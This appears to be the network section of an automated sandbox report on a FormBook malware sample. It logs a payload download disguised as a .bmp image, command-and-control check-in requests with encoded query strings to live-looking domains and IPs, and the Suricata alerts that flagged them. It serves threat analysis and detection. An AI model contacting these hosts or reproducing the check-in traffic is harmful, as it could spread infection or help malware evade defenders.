Network Analysis
| Name | Response | Post-Analysis Lookup |
|---|---|---|
| www.9969.voto | ||
| www.lastpartyofyear.com |
CNAME
lastpartyofyear.com
|
34.102.136.180 |
GET
200
http://192.227.183.170/mac/Khypvvnsqb.bmp
REQUEST
RESPONSE
BODY
GET /mac/Khypvvnsqb.bmp HTTP/1.1
Host: 192.227.183.170
Connection: Keep-Alive
HTTP/1.1 200 OK
Date: Tue, 04 Apr 2023 08:19:34 GMT
Server: Apache/2.4.54 (Win64) OpenSSL/1.1.1p PHP/8.0.25
Last-Modified: Mon, 03 Apr 2023 09:32:55 GMT
ETag: "18c558-5f86b3e5e645d"
Accept-Ranges: bytes
Content-Length: 1623384
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: image/bmp
GET
403
http://www.lastpartyofyear.com/my28/?2d=p0ujyCWbv7tSv6pBF6BUI0s+ls/Q9V6Q3hOA/098StHlUApBIDy7sCdi2rtFVzlEPonprgU5&2d54=eT8xe2NpinJd0BI
REQUEST
RESPONSE
BODY
GET /my28/?2d=p0ujyCWbv7tSv6pBF6BUI0s+ls/Q9V6Q3hOA/098StHlUApBIDy7sCdi2rtFVzlEPonprgU5&2d54=eT8xe2NpinJd0BI HTTP/1.1
Host: www.lastpartyofyear.com
Connection: close
HTTP/1.1 403 Forbidden
Server: openresty
Date: Tue, 04 Apr 2023 08:20:45 GMT
Content-Type: text/html
Content-Length: 291
ETag: "642a97ca-123"
Via: 1.1 google
Connection: close
ICMP traffic
No ICMP traffic performed.
IRC traffic
No IRC requests performed.
Suricata Alerts
| Flow | SID | Signature | Category |
|---|---|---|---|
| TCP 192.168.56.101:49161 -> 192.227.183.170:80 | 2030384 | ET HUNTING Suspicious Terse Request for .bmp | Potentially Bad Traffic |
| TCP 192.168.56.101:49167 -> 34.102.136.180:80 | 2031412 | ET MALWARE FormBook CnC Checkin (GET) | Malware Command and Control Activity Detected |
| TCP 192.168.56.101:49167 -> 34.102.136.180:80 | 2031449 | ET MALWARE FormBook CnC Checkin (GET) | Malware Command and Control Activity Detected |
| TCP 192.168.56.101:49167 -> 34.102.136.180:80 | 2031453 | ET MALWARE FormBook CnC Checkin (GET) | Malware Command and Control Activity Detected |
Suricata TLS
No Suricata TLS
Snort Alerts
No Snort Alerts